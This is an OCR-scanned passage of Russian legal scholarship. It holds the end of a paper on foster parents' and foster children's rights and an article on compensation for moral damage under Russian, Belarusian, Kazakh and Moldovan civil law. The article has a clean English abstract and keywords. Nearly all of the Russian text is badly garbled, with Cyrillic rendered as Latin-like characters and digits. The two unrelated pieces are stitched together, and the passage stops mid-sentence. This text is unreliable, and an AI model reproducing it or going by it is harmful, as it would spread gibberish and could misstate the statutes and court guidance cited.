bumne o mpaBax (docTepHBIX poauTenedt U buie 0 mpaBax AeTei, MepelaHHBIX Ha
(hocTepHOE BOCIIUTAHUE TAKKE YCTAHABIMBAIOT MX HEOTUYXKIaeMbIe TIPaBa.

[TpaBa mpreMHBIX poJuUTeNeH, COrnacHo buis o mpaBax MPUEMHBIX POAUTENCH:

1) TIlpaBo Ha MHUCBMEHHOE Pa3bICHEHHE POJIM BOCIMTATESI B MAPTHEPCTBE C
JE€TbMU, TOCYJApPCTBEHHBIMU CTPYKTypamMu, a TaKKe IMpaB U POJIM CEMbH, B
KOTOPOii poanics peOeHOK, HO KOTOPbI BOCIIUTHIBAETCS B IPUEMHOM CEMbE;
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2) IlpaBo Ha OOyueHHE M TIOICPXKKY B LEJISIX COBEPIICHCTBOBAHUS HABBHIKOB
oOecreyeHusT €KEAHEBHOTO yXOJa ¥ YAOBJICTBOPEHUS MOTPEeOHOCTEH
peOeHKa, HaXOJISIIIETOCs B IPUEMHON CEMbE;

3) [IlpaBo Ha wuH(poOpMaIMIO, Kacaromerocs peOeHKa, BKIOYAs CIOKHOCTH B
MOBEJICHUH, HMCTOpUM  OOJIE3HHM, YpOBHE  0Opa3oBaHMs, CEMEHHOM
IMPOUCXOXKACHNN W HWHBIX BOIIPOCAX, KOTOPLIC M3BCCTHBI ACTIAPTAMCHTY Ha
MOMEHT Tiepeiadn peOeHKa B IPUEMHYIO CEMBIO;

4)  TlpaBo Ha (HMHAHCOBBIC BO3MEIICHHS, YKa3aHHbIC B IUIaHE, KACAFOIIECTOCS
pa3meleHns: peOEHKa B I0M€ NPUEMHBIX POJUTENEH U UHBIE.

[IpaBa pebeHka, mepenaHHOTO Ha BOCIIUTAHHE B MPUEMHYIO CEMbIO, COrNIacHO buims o

rpaBax MPUEMHBIX JETEH:

1)  IlpaBo BOCHHTHIBATBHCS PHUEMHBIMH POAUTEISIMH, KOTOPbIC ObUTH OTOOPAHBI B
COOTBETCTBHU C €0 MHAUBUAYAIBHBIMU MTOTPEOHOCTAMH (CT. 2);

2) IlpaBo Ha momomlpb B NMOHMMAHWU M TNPUHATHH NPUYHMH, IO KOTOPBIM €ro
COOCTBEHHAsI CEMbsI HE MOKET O HEM 1M03a00TUThCS (CT. 3);

3) IlpaBo mony4aTh Ka4yeCTBCHHbIC YCIYTH MO 3allUTe JAeTeil, BKIIOYAs
MpUBJCUCHHE OHOJOTMYECKUX pOAUTENIEH U COOCTBEHHOE yuyacThe B
NPUHITUN BaKHBIX PELLICHUH, BaKHBIX AJIs1 sku3HU (CT. 10) 1 nHbIE.

Taroke, 3akoHoAaTenbeTBO CHIA ycTaHaBIMBAeT NEPBOOYEPEIHOE MIPABO YCHIHOBICHUS

peObeHKa TPUEMHBIM BOCIIHMTATENIEM, IPH HEBO3MOXXHOCTH €T0 YCHIHOBJICHHUS KpPOBHBIMHU
POIUTENSAMU.

B PE3YyJIbTAaTC aHaJIn3a HOPM, ,HCP'ICTBYIOHII/IX B BBIHICIICPCUUCIICHHBIX CTpaHAX, MOXHO

clienaTh BBIBOJ O TOM, YTO CHCTEMa MaTPOHATHOTO BOCIUTAHUS IPEXKAE BCEro HAIpaBlICHAa HA
aJlaNTalHIo ¥ colManu3anuio pedeHka B o0mectse. CuntaeM, 4YTo BBEICHUE JJAHHOM CHCTEMBI B
(denepanbHOe 3aKOHOATENBCTBO, a WMEHHO, INPUBEACHHE K EJUMHON CHCTEME IIPaBOBOTO
peryarpoBaHus MaTPOHATHOIO BOCIIMTAHUS B Halllel cTpaHe OyneT crnocoOCTBOBaTH Haubolee
HOJIHOMY 00€CIIEYEHHIO 3alUIIIEHHOCTH HECOBEPLIEHHOJIETHHX.
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AHHOTAINA

CraTtbs mMOCBsIIEHA AaKTyaJlbHbIM MpoOJieMaM TEOpUH M TMPAKTHUKU KOMIIEHCAIIUU
MOpaJbHOTO Bpeaa B Poccun u 3apyOexHbIX mpaBonopsiakax. IIpuBeneHsl OCHOBHbIE (haKTOPHI
OTPAXKAOIIME COBPEMEHHOE COCTOSIHUE MHCTUTYTa KOMIIEHCAllUM MOPAJIbHOTO Bpena B
rpaxnanckoM mnpaBe Poccuiickoit ®epepanmu. OTMedaercsi, YTO CYIIECTBYIOIIMNA HBIHE B
Poccun HMHCTUTYT KOMITEHCAllMM MOPAJIBHOIO BpEJa MMEET CBOM AHAJIOTM B PAa3BUTHIX
3apyOeKHBIX TPABOMOPSAAKAX, TPAKTUKAa TNPUMEHEHHs KOTOphIX, (popmHpoBasach Ha
MPOTSXKEHUH MHOTHX JieT. OOOCHOBBIBA€TCS BBIBOA O TOM, YTO B KaXK/IOM OTAEIHHO B3ATOM
CTpaHe HCCIEAyeMOe IPaBOBOE SBJICHUE HMMEET CBOIO CIEIHM(UKY, KOTOpas BBIPAKACTCS B:
HQJIMYAM  CHEIMAIbHOM IIPaBOBOM  TEPMUHOJIOTMH;  OIPEAEICHHOM  IPaBOCO3HAHWY;
MOJYMHEHHOMY TIpaBy IIOBEIEHHMIO, KaK IOTEPIEBIIEr0, TaK U MPUYMHUTENS BpEAa;
OTBEYAIOLIEM MOTPEOHOCTSIM IOCYIapCTBA U OOLIECTBA 3aKOHOIATENbCTBE, PErIIaMEHTUPYIOLIEM
KOMIIEHCAIIMIO Bpe/ia 32 IPUYUHEHHbIE ICUXUYECKUE CTPaJaHusl.

KiioueBble ciioBa: Bpel, JAEIUKT, AEIMKTHbIE O00S3aTeNbCTBA, MOPAIbHBIA Bper,
HEMaTepUAIIBHBIM BpEJl, HEMMYILIECTBEHHBIM BpEl, HEPBHBIM IIOK, HEPBHOE IIOTPSCEHHUE,
00s13aTeNbCTBA U3 MPUYMHEHUS Bpeia, ICUXUIECKUIN Bpe/l, ICUXUATPUIECKUI BpEI.

Abstract

The article is devoted to the actual problems of the theory and practice of compensation
for moral damage in Russia and foreign legal systems. The main factors reflecting the current
state of the institution of compensation for moral damage in the civil law of the Russian
Federation are given. It is noted that the institution of compensation for moral damage currently
existing in Russia has its analogues in developed foreign legal systems, the practice of which has
been formed over many years. The conclusion is substantiated that in each individual country,
the legal phenomenon under study has its own specifics, which is expressed in: the presence of
special legal terminology; a certain sense of justice; the behavior of both the victim and the
harm-doer subordinate to the law; legislation that meets the needs of the state and society
regulating compensation for harm caused by mental suffering.

Keywords: harm, tort, tort obligations, moral harm, non-material harm, non-material
harm, nervous shock, nervous shaking, obligations from harm, mental harm, psychiatric harm.

Hctopus pa3BUTHS YEIOBEYECTBA CBUICTEILCTBYET O TOM, YTO OOPETEHHE YEIOBEKOM U
TpaXXIaHUHOM TIPaB U CBOOOJI HEPA3pPBIBHO CBSI3aHO C OOS3aHHOCTHIO TOCYJApCTBA CO3/1aBaTh
3¢ GEKTUBHO ACUCTBYIOIIYI0 CUCTEMY MX MPABOBOM 3aIIUTHI. 3aKOHOAATEIBECTBO 3apyOeKHBIX
CTpaH TPEIyCMaTPUBAIOT BO3MOXKHOCTH YEJIOBEKA 3aIllMINATh CBOM TpaBa M CBOOOJBI BCEMH
croco0aMu, He 3amnpelieHHbIMH 3akoHOM. OIHUM W3 Takux crmocoboB B PD sBusercs
KOMIICHCAIIUS MOPAJILHOTO Bpe/a. 3apyOesKHbIe TPABOMIOPSIKH UMEIOT aHAJIOTUYHBIE TTPABOBbIE
MHCTUTYTBL.  HecMOTpss Ha 3HAYMTENBHBIA CPOK CYILECTBOBAHMSA TI'PaXTaHCKO-TPABOBOE
pPETyJIMpPOBaHUE KOMIICHCAIIMU 3a TEPEHECEHHbIC (DU3MYECKWe M HPABCTBEHHBIC CTPATaHUS
JAJIeK0O OT CBOETO COBEPIICHCTBOBAHUS BO BCEX MHPOBBIX MpaBonopsiakax. [IpobGieMbr
KOMIICHCAIIUM Bpea 3a MPUYMHEHHBIC CTPAJaHUs BBI3BIBAIOT 3aKOHOMEPHBIM HWHTEpPEC Y
poccuiickux [1; 6; 7; 8; 9; 10; 12; 13] u 3apyOexHbIX y4eHbIX-IIMBWIHCTOB [14; 15; 16; 17],
paboThl KOTOPBIX HAIpaBJIEHl HA COBEPIICHCTBOBAHHE JAHHOTO IIPABOBOTO SIBJIICHUS,
BBISIBJICHUS €10 MOJOKHUTEIbHBIX U OTPUIATEILHBIX CTOPOH.

B coorBerctBum ¢ m. 1 cr. 151 I'paxnanckoro koaekca P®: «Eciu rpaxnaHuny
MPUYMHEH MOpPaNbHBIA Bpen (pu3nyeckre WM HPABCTBEHHBIC CTpaJaHUs) JCHCTBUSMH,
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HApyLIAIOIMIMMU  €ro JIMYHblE HEUMYIIECTBEHHblE MpaBa JUOO TMOCSATalOUMMU  Ha
MpUHAUICKAIME TpaXIaHUHY HeMaTepualibHble Onara, a TakkKe B JPYruxX Ciydasx,
MIPEAYCMOTPEHHBIX 3aKOHOM, CYJl MOXKET BO3JIOKUTh Ha HAPYIIUTENs OOS3aHHOCTH JEHEKHOMN
KOMIIEHCAllUM yKa3aHHOro Bpena [3]. Xapakrepusysi COBPEMEHHOE COCTOSIHUE MHCTHUTYTa
KOMIIEHCAIluM MOpAJIbHOTO Bpesaa B Poccum, cienyeT OTMETHTh, YTO OCHOBHBIE €T0 IOJIOKEHHS
ABISIFOTCA TPEIMETOM Ul TIOCTOSIHHBIX HAy4yHBIX JWCKYCCHUHM, YTO, Ha Hall B3IV,
oOycrnoBiieHo creayromumiu dakropamu: 1) OTCYTCTBHEM YETKOH NpPaBOBOW TEPMHUHOJIOTHH,
OTpakKaroIeH crienu(rKy JaHHOTO UHCTUTYTA; 2) Pa30pocaHHOCThIO 3aKOHOIATETBHBIX aKTOB O
KOMIIEHCAIIUM MOPAJIbHOTO Bpela MO pa3iMYHbIM HUCTOYHHUKAM M oTpacisiM; 3) OTcyTcTBHEM
TOYHO C(POPMYITMPOBAHHBIX KPUTEPHEB OILIEHKU pa3Mepa JIEHEeKHOH KOMIICHCAIIMA MOPAJIbHOTO
Bpela U €IMHOW YTBEp)KIEHHOM Ha Tepputopun Poccuiickoit denepan METOIMKHU JJIsT UX
yuera. Tak, Hampumep, 3akperuieHHoe B 'K P® mnonsTHe MOpasbHBIM Bpel 10 CHX IIOp
MOPOXKIAET Maccy AMCKYCCHHA B OTEUECTBEHHOM LMBUWIMCTHYECKOW Hayke. OueBHIIHO, YTO B
CJIOBOCOYETAHWM «MOPAJIbHBIA BpEN» POCCUUCKUIM 3aKOHOAATENb IPUMEHSET  CIIOBO
«MOpaJIbHBI» Kak KimoueBoe. [lomydaercs, YTo caMO TOHSTHE «MOPAIBHBIA BpeI»
NpeAonpeaessieT, YTO Bpel MPUYMHEH MMEHHO «MOPAJbHBIM Hayajam» JIHUYHOCTH, KOTOPbIE
SBIISIFOTCS HEOTHEMJIEMON CTOPOHOM TyXOBHOW XM3HM JIMYHOCTH M O3HAYAIOT COBOKYIHOCTH
NpeAcTaBleHuil 00 wuaeane, A00pe W 37€, CIPaBEUIMBOCTU M HeCHpaBeauBOCTH. OHuU
JCUCTBYIOT Yepe3 OLEHKY IIOCTYNKOB JIIOJIEH, Yepe3 MEeXaHM3M OOILECTBEHHOTO MHEHUs U
PEryIUpYIOTCS TOJIBKO C MOMOIIBI0 HOpM Mopaiu. OTHOIIEHUS k€ U3 MPUYMHEHUs Bpena
PErYJIUPYIOTCS ¢ TOMOIIBI0 HOPM IIpaBa M SIBJIAIOTCS IPaBOBBIMU. TakuMm 00pa3oM, Takoe
OIpeiesIeHNe TEPMHMHA «MOPAJIBHBIN Bpel» CTUPAET JUHHUIO MEXIY MpaBOM M MOPAJIbIO, YTO
BPS/1 JIM MOYKHO CUMTATh y/1aYHbIM.

ObecnieueHne €AMHCTBA MPAKTUKH TPUMEHEHHsS CyJaMd HOPM O KOMIIEHCAllUU
MOpaJIbHOTO BpEJa, B HACTOSIILIEE BPEMS, OCYILLECTBIISIETCS] HA OCHOBAHUM PA3bsICHEHUHN JaHHBIX
B IlocranoBnennu Ilnenyma BepxoBHoro Cyma PD Ne3 "O mpakTvke npuMEHEHHUs Cyaamu
HOPM O KOMITEHCAllMM MopasibHOTO Bpena" ot 15 HosOps 2022 r. Tak, cornacHo 1. 12 1aHHBIX
pa3bsICHEHUH, 005S3aHHOCTh KOMIIEHCALUU MOPAJIbHOTO Bpea MOXKET OBbITh BO3JIOKEHA CYIOM
Ha TPUYMHUTENS BpEla INPHU HAIMYMM IIPETYCMOTPEHHBIX 3aKOHOM OCHOBaHMHM U YCIOBUM
MIPUMEHEHHUS! JAHHOM Mephl IpaKIaHCKO-IIPABOBOM OTBETCTBEHHOCTH, & UMEHHO: (PU3HMUYECKUX
WIM HPaBCTBEHHBIX CTPaJaHUI MOTEPIEBIIEro; HEMpPAaBOMEPHBIX JeHcTBUN (Oe3melcTBus)
MIPUYMHUTENS Bpea; MPUYUHHOM CBSI3M MEX/1y HEIIPaBOMEPHBIMH JIeHCTBUAMU (Oe3aeHicTBIEM)
1 MOpaJIbHbIM BpEJIOM; BHHBI IpuuuHUTENS Bpena (crateu 151, 1064, 1099 u 1100 I'K P®).
Briepeeie, B 1. 14 manHoro IloctaHOBIEHUST paCKPBIBAETCS COJIEp)KaHUE TEPMUHA «(DU3HMUECKUE
CTpaZaHus», MOJ KOTOPHIMHU TIpEJIaraeTcsi IMOHMUMATh (PU3MYEcKyr0 OO0, CBS3aHHYIO C
MPUYMHEHUEM YBEYbs, WHBIM IOBPEXKIECHUEM 3I0pOBbs, JIMOO 3a0o0jeBaHHE, B TOM YHUCIIE
NIEPEHECEHHOE B  pe3yJbTaT€ HPABCTBEHHBIX CTPaJaHMU, OrpPaHUYEHHE BO3MOXKHOCTHU
MEpeABIKEHUSI BCJICACTBUE TMOBPEKIACHUS 370pOBbs, HEONAronpusTHbIE OIIYIIEHUS WIN
OoJNIe3HEHHBIE CUMITOMBI, a I0J] HPABCTBEHHBIMU CTPAJaHUSIMU - CTPaJaHMs, OTHOCSIIHUECS K
TYIIEBHOMY HEOIaromnoiyqynto (HapyIIeHUIO TYIIEBHOTO CIIOKOMCTBHS) YeIOBEeKa (IyBCTBa
CTpaxa, YHIDKCHHUs, OECIOMOIIHOCTH, CTBIAA, pa304apoBaHUs, OCO3HAHME  CBOEH
HETOJIHOLIEHHOCTH H3-3a HAIW4Msi OTPaHUYECHUM, OOYCIIOBIICHHBIX MPUYUHEHUEM YBEUbS,
MEPeKUBAHUSI B CBA3M C YTPaToOil pPOJICTBEHHHKOB, IOTEpell pabOoThl, HEBO3MOXKHOCTBHIO
MIPOJIONIKATh AKTUBHYIO OOIIECTBEHHYIO KH3Hb, PACKPHITUEM CEMEHHOM MIN BpaueOHOM TalHBI,
pacrpoCTpaHEHUEM HE COOTBETCTBYIOLIUX ACWCTBUTEIBHOCTU CBEICHUH, MOPOYAIUX YECTb,
JOCTOMHCTBO WJIM JICIOBYIO PEIMyTallli0, BPEMEHHBIM OTPaHUYEHUEM WM JIMIICHUEM KaKhX-
00 TpaB W JApyrue HeraTuBHbIC SMoumH). OIHAKO, Pa3bsICHEHUE TMOHATHS «HPABCTBEHHBIC
CTpallaHus», MO-TIPEeKHEMY, He JaHo. Takke, B TaHHOM MPEIMETHOM MHEHUU HE HAIIUTU CBOETO
pa3bsICHEHHUs TaKue KPUTEPUM JUIS ONpEENICHUs pa3Mepa KOMIIEHCAllMK 3a MPUYMHEHHBIN
MOpalbHBI Bpel, KaK: CTelNeHb M XapakTep (M3WYECKUX M HPABCTBEHHBIX CTpaJaHUA.
[Tpumeuatenen ToT dakr, uro B m. 27 [loctanosnenus: [lnenyma BepxoBnoro Cyna PD Ne3
burypupyer HOBBI KPUTEPUN «TSDKECTh NPUYMHEHHBIX TOTEpHeBIIEMY (U3UYECKUX U
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HPABCTBEHHBIX CTPAJAHUN», KOTOpas OLICHWBAETCS CYIOM C YYETOM 3aCiIyKMBAROIIMX
BHUMaHMs (PAaKTHUECKHX OOCTOSATENBCTB JeNla, K KOTOPBIM MOTYT OBITh OTHECEHBI JHOObIE
00CTOSITENbCTBA, BIUSIONINE HA CTENEHb M XapakTep TakuX cTpaaaHuil. B cBoro odepenp, npu
OIPENENICHUH pa3Mepa KOMIIEHCALMM MOPAJIBHOIO BpEla CyAaM ClenyeT NPUHMMAaTh BO
BHUMAaHHE, B YaCTHOCTH: CYHIECTBO U 3HAYMMOCTh T€X IIpaB M HeMaTepHajbHbIX OJar
MIOTEPIIEBILIEr0, KOTOPhIM IPUYMHEH Bpel (HAIIpUMEp, XapaKTep POACTBEHHBIX CBS3EH MEXIY
MOTEPIIEBIIUM U HCTIOM); XapaKTep U CTENeHb YMaJeHUs TaKUX IpaB U Ojar (MHTEHCHUBHOCTb,
MacuTad M JUIMTEIbHOCTh HEONaronpusTHOIO BO3JEHCTBUS), KOTOpPBIE TOJUIEKAT OIEHKE C
y4eToM croco0a TpUYMHEHUs Bpena (HampuMmep, NMPUYMHEHHE BpeAa 3J0POBBIO CIIOCOOOM,
HOCSIIIUM XapaKTep UCTA3aHUS, YHUIKEHUE YECTH U JOCTOMHCTBA POAUTEINIEH B MPUCYTCTBUM UX
JeTel), a TakXke IOBEIEeHHE CaMoro MOTEepHEBIIEro MpH NPUYMHEHUH BpeAa (Hampumep,
NIPUYMHEHUE BpEeAa BCIEACTBUE NPOBOKALMM IOTEPHEBIIETO B OTHOUIEHWH MMPUYMHUTENS
Bpena); TMOCIEJCTBUS NPUYUHEHHS MOTEpIEBIIEMY CTpaJaHui, ompenenseMble, MOMHUMO
IIPOYEro, BHUIOM M CTENEHBIO TSHKECTH IOBPEXKICHHUS  370POBbS,  JUIMTEIBHOCTBIO
(IPOAOIKUTEBHOCTBIO) ~ PACCTPOWCTBA  37I0POBBS,  CTEMEHBIO  CTOMKOCTH  YTpaThbl
TPYIOCIOCOOHOCTH, HEOOXOAMMOCTBIO aMOYJIaTOPHOTO WJIM  CTallMOHAPHOTO  JICYCHHS
MOTEPIIEBIIIET0, COXPAaHEHUEM JINOO YyTpaTOW BO3MOXKHOCTH BEJICHHSI MIPEXKHETO 00pasa KU3HU.
B n. 28 [aHHBIX MNpEeIMETHBIX pPa3bsICHEHUH paCKpPbIBAETCSl COJEPHKAHUE €IIe OJHOTO,
BJIMAIOIIETO HA pa3Mep JEHEKHOW KOMIIEHCAIMU KPUTEPHUS - MHIUBHUIyalbHBIX 0COOEHHOCTEH
noreprieniero. [lo TakoBeIMU MpeiaracTcsi IOHUMaTh: BO3PACT MOTEPIIEBIIETO U COCTOSIHUE
€ro 3/10pOBbsl, HATUUKE OTHOIICHUI MEX1y MPUUMHHUTENIEM Bpeaa U MOTEePIEBIINM, TPOPeCcCUro
U pOJI 3aHATUH MOTEPIIEBLIETO.

Pazperas criop 0 KoMIeHcauu MOPaJIbHOTO BPE/la, CY/1 B YHCIIE MHBIX 3aCTYKHUBAKOLIIX
BHUMAaHUS OOCTOSITEIbCTB MOXKET YYECTh TSIKEJIO€ HMYILECTBEHHOE IOJIOKEHHE OTBETUYMKA-
rpaXkIaHuHa, MOJATBEP>KICHHOE NPEACTABICHHBIMH B MaTepuaibl Jeja J0Ka3aTelbCTBaMU
(HanpuMep, OTCYTCTBHE Y OTBETUMKA 3apab0TKa BCIEJICTBUE JUIUTEILHON HETPYI0CIIOCOOHOCTH
WM UHBAJIMAHOCTH, OTCYTCTBHE y HETO BO3MOXHOCTH TPYAOYCTPOUTHCS, HAXOXKIECHUE HA €ro
VOKIMBEHUN MaJIOJIETHUX JIETEH, NeTeH-UHBAIKNI0B, HETPYAOCHOCOOHBIX CYIpyra (Cynpyru) win
pooutens  (poaurtenei), ymjgata UM~ aJUMEHTOB HAa  HECOBEPUICHHONETHUX WU
HETPYIOCTIOCOOHBIX COBEPIICHHOJETHUX JETel JIMOO Ha MHBIX JIUI, KOTOPBIX OH OO0s3aH MO
3aKOHY cojepxkath). [Ipuuem, TsHkenoe HMYIIECTBEHHOE IMOJIOKEHHE OTBETYMKA HE MOXKET
CIIY>)KUTh OCHOBAaHHEM JJIsi OTKa3a BO B3BICKAHUM KOMIIEHCAIIMM MOpajibHOro Bpeaa (m. 29
IlocranoBnenus [Inenyma Bepxosnoro Cyna PO Ne3).

[Ipu onpeneneHun pasmepa KOMIEHCAIMM MOpPAJIbHOTO Bpela CYIOM JIOJIKHBI
YUUTBIBAaThCS TPEOOBAHMS Pa3yMHOCTH U CHIPaBEUIMBOCTH, B CBSA3H, C YEM CyMMa KOMIIEHCALIUH
MOpaJIbHOTO Bpena, MoJyIeXkalas B3bICKAHWIO C OTBETYMKA, JOJDKHA OBITh COpa3sMEpHOMN
MIOCJIC/ICTBUSIM HApYLICHUS] U KOMIIEHCUPOBATh MOTEPIIEBILIEMY MIEPEHECEHHbIE UM (DU3NUECKHE
WIM HPAaBCTBEHHBIE CTPAJaHUsl, YCTPAHUTh 3TU CTpaJaHus JU00 CriaaauTh UX ocTpory. Cyaam
ClIeAyeT UMETh B BUJY, YTO BOIPOC O Pa3yMHOCTH IPUCYXKIAEMON CYMMBI JIOJIKEH PEIIAThCs C
YUETOM BCEX OOCTOSITENBCTB J€ja, B TOM YHMCIIE 3HAYUMOCTH KOMIIEHCAIIMH OTHOCHUTENIHLHO
OOBIYHOTO YPOBHS JKM3HM U OOILIETO YPOBHS JOXOJOB I'PaKAaH, B CBSA3U C YEM, UCKIIIOYACTCS
MPUCYKJIECHUE TTOTEPIIEBIIEMY YPE3BhIYAHHO MaJION, HE3HAUMTEIILHON JEHE)KHOM CYMMBI, €CIU
TOJIBKO TaKasi CyMMa He Obllla yKa3aHa UM B UCKOBOM 3asiBIICHHH.

B Hactosimiee Bpems, HMHCTUTYT KOMIIEHCAllUM MOPAJIBHOIO Bpena MOIY4YWI CBOE
3aKOHOZATENIPHOE 3aKPEIUIEHHE BO BCEX PA3BUTBIX IpaBoNOpsAKax. Tak, HaIpUMep, OJHOW U3
CTpaH, TPakJIaHCKOE 3aKOHOJIATENIbCTBO KOTOPOM, aHAJIOTMYHO POCCUICKOMY IIPEyCMaTpUBAET
TEPMHUH «MOPAJBHBIA BpEI», OMpENeNss ero Kak (pu3ndeckue Wi HPABCTBEHHBIC CTPaJIaHUs
spisiercs: Pecryonuka bemapycb. Taxke kak u B Poccuiickoit ®eneparuu, KOMITEHCAIHS
MOpPAJIBHOTO BpeAa B OOJBIIMHCTBE CBOEM CIIy4aeB CBs3aHA C HAPYILICHHEM HeMaTepUasIbHBIX
Onar rpaxaaH, nepevyeHb KoTophix mpeaycMorper cr. 151 'K Pecnyomuku benmapycs [2]. B
CTIEIMAIBHBIX CITy4asiX, IPETyCMOTPEHHBIX B OTJEIBbHBIX 3aKOHOJATENFHBIX akTax PecmyOnuku
benapych KoMIleHCalMsi MOpPaJIBHOTO BpeJa MOXKET OCYHIECTBIISITECS M 34 HApyILICHHE
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MMYIIECTBEHHBIX MpaB rpaxkaad. K TakoBeiM oTHOCAT: cT. 28 JKuummHoro koaekca PecryOnuku
benapyce, KoTOpas 3akpeIuisieT IpaBo Ha KOMIIEHCALIMIO MOPAJIbHOIO BpE/ia 3a HapyLIEHUE NpaB
Y 3aKOHHBIX HHTEPECOB TPak/IaH B chepe KIWINITHBIX OTHOLIEHMH; CcT. 246 TpynoBoro koaekca
Pecriy6nuku  benapych, mnpeaycMaTpHBarOIIyl0 KOMIICHCAIMIO MOPAJBHOTO Bpeaa 3a
HapyIIeHUe TPYJOBBIX NpaB rpakaaH B Pecmybnuke benmapyce; 4. 5 cr. 22 3akona PecryOnmku
benapycb  «O  3ammTe mpaB  MOTpeOMTENEH  KWIMIIHO-KOMMYHAJIBHBIX  YCIyI»,
YCTaHABIUBAIOLIAs TPAKIAHCKO-ITPABOBYIO0 OTBETCTBEHHOCTh B BHJI€ KOMIIEHCALIUYA MOPAIbHOIO
BpeZa 3a HapylIeHUE TpaB MOTpeOUTeNeH KIIHUIIHO-KOMMYHAIIBHBIX yeiyT; 1. 1 cT. 18 3akona
Pecniy6mmukm benapych «O 3ammre mpaB moTpeduTenein», mpeaycMaTpUBAIOIIYF0 KOMITCHCAITHIO
MopaibHOrO Bpeaa B PecnyOnuke benmapyck 3a HapylieHue npaB morpeOureneif; 4. 4 cr. 3
3akona Pecnyommkm  bemapych  «O  JIMYHBIX  TOJACOOHBIX — XO3SHCTBAX  TPayKIaHy,
YCTaHaBJIMBAIOIIYI0 TaKyl0 MEpPY OTBETCTBEHHOCTH, KaK KOMIICHCALIUsI MOpPAJIbHOIO Bpejaa 3a
HapyIleHHe TpaB Ipa)kIaH Ha BEJCHUE JIUMYHOIO MOACOOHOro X03siicTBa; 4u. 2 cT. 14 3akoHa
Pecniyomuku  Bemapych «OO0  oxpaHe OKpyXKaromield cpenbl», KOTOpas IPeIoCTaBIIsIET
MOTEPIIEBIIEMY MPaBO MPHUOETHYTH K TaKOMY CHOCOOY 3alllUThl TPAKAAHCKUX TpaB, Kak
KOMIIEHCAIlUs MOPAJIBHOTO Bpela 3a HapyIIEHHWE CBOEro IpaBa Ha OJaronpHusITHYIO
OKpyXaroIyto cpeny. Kak BuauMm, aefcTByrolee rpaskIaHCKOe 3aKOHOAATebcTBO PecyOnnku
benapyce npenycMaTpuBaeT JAOBOJBHO IIMPOKUI CHEKTP MMYIIECTBEHHBIX IpaB Ipaxk[aH, 3a
HapyLEHUE KOTOPBIX MIPEYCMOTPEHA KOMIIEHCALIMSI MOPAJIBHOTO BPEAa.

Heckonbko nHaue, K ONpeIeIeHUI0 COAEP KaHuUsI TIOHATHS «MOPAJIbHBIN BpeI» MOOLIEN
Ka3axckuid 3akoHoaarenb, B 1. 1 c1. 951 'K Pecnybnuku Kazaxcran [4], onpenenuB ero, Kak:
HapylleHue, yMaJleHUe WIN JIMIIEHUE JTUYHBIX HEMMYILECTBEHHBIX Oylar U npaB (pU3MUECKUX
JML, B TOM YHCJIE€ HPABCTBEHHbIC WM (HU3MUYECKUE CTpafaHus (yHUXKEHHE, pa3JpakeHue,
MOJIaBIIEHHOCTh, THEB, CThIA, OT4asHUE, (Qu3nyeckas O0jb, YIIEPOHOCTh, TUCKOM(OPTHOE
COCTOSIHUE W T.IL.), HCIBIThIBaeMble (TIpeTepreBacMble, IMEpeKUBacMble) IOTEPIEBIINM B
pe3ysbTaTe COBEPILIEHHOI0 MPOTUB HETO MPAaBOHAPYILEHHS, a B CIIy4ae ero CMEPTH B Pe3yJsbTaTe
TAKOTO TPaBOHAPYIIEHHS - €ro OJM3KHMMHU pPOJICTBEHHHKaMH, cymnpyrom (cympyroif). B
cootBercTBUE ¢ M. 4 cT. 951 I'K Pecnybnuku KazaxcraH, MopanbHbId Bpen, NPUYUHEHHBIN
neiictBusiMu  (Oe3eiCTBUEM), HApYIIAIONIMMU  UMYIIECTBEHHBIE TMpaBa TpakKIaHUHA,
BO3MEILEHHIO HE TIOJUICKUT, KPOME CITy4aeB, MPeyCMOTPEHHBIX 3aKOHOAATEIbHBIMU aKTaMu. B
HacTosiIlee BpeMs, K TAaKOBBIM aKTaM OTHOCUTCS JIIb 3akoH PecmyOmmkn Kaszaxcran «O
3alMTe MpaB noTpeduTenei», cT. 21 KOTOpOoro riacuT, YTO: MOPAJIbHBIA Bpel, NMPUUUHEHHBIN
MOTPEOUTENIO BCIIEACTBHIE HAPYIIECHHS MIPOJIABIIOM (M3TOTOBUTENEM, UCTIOTHUTENIEM) €ro TIpaB 1
3aKOHHBIX HHTEPECOB, IPEIyCMOTPEHHBIX 3aKOHOAaTeNnbcTBOM PecmyOmuku Kazaxcran o
3aluTe TMpaB MNOTpeOuTened, MOAJEe-KUT BO3MEUICHHIO MpPU HAIMYMU BUHBI IPOJABIA
(M3roTOBUTEISA, UCTIOHUTENS) B pa3Mepe, ONPEIENIIEMOM CYJIOM, €CIIM UHOE HE MPEyCMOTPEHO
3akoHamu Pecniyoniku Kazaxcran.

B cBoro ouepenp, cormacHo ct. 1422 TI'K Pecnybnmku MonmmoBa [5], B ciydae
NPUYMHEHUS] JIMIy MOPAJIBHOTO Bpeda (HPAaBCTBEHHBIX WM (DU3MYECKUX CTpaja-HuUil)
MOCPEICTBOM JIESHUM, MOCSTAIOIINX HAa €ro JIMYHbIE HEMMYIIECTBEHHBIE IpaBa, a TaKXe B
ApYruX TPEeIyCMOTPEHHBIX 3aKOHOM Cilydasx CcyaeOHas WHCTAHIMS BIIpaBe 0053aTh
OTBETCTBEHHOE 3a BpEJl JIUII0 BO3MECTUThH €r0 B JCHEKHOM SKBUBaleHTE. CleayeT OTMETUTD,
YTO MOJIJIABCKUI 3aKOHOJATENb B IIOCIEIHEE BPEMsI CTapaeTcs MOJEPHHU3UPOBAaTH CBOE
TpaXJaHCKOE 3aKOHOJATENLCTBO, MPUBOJS €r0 B COOTBETCTBUE C OOIIEeBpPOINEHCKUMU
TpeOOBaHUAMH, O YEM CBHUACTENBCTBYIOT MOCIECTHUE U3MEHEHUs, BCTYMUBINNE B cUiIy 1 MapTa
2019.

Kak BuauM, cymecTByrommid HblHE B POCCHMM MHCTUTYT KOMIIEHCALIMM MOPAJIBHOIO
BpeJla IMEET CBOM aHAJIOTU B PAa3BUTHIX 3apYOEKHBIX MPABOMOPSIKAX, MPAKTUKA MPUMEHEHUS
KOTOPBIX, (hopMHUpOBajach Ha MPOTSHKEHUHM MHOTHX JIET. B Kakaol OTHeNbHO B3ATOM CTpaHe
UCCIielyeMOe MPAaBOBOE SIBIICHHE UMEET CBOIO CIEHU(PHKY, KOTOpas BbIpakaeTcs B: HATHMYUU
CHeLMaIbHON IPaBOBOI TEPMUHOJIOTHHU; OTIPEIEIIEHHOM PaBOCO3HAHNY; TOAYMHEHHOMY IIpaBy
MOBEJICHNIO, KAaK MOTEPIIEBIIEro, TaK W TMPUYUHUTENS BpEAa; OTBEYAIONIEM MOTPEOHOCTIM
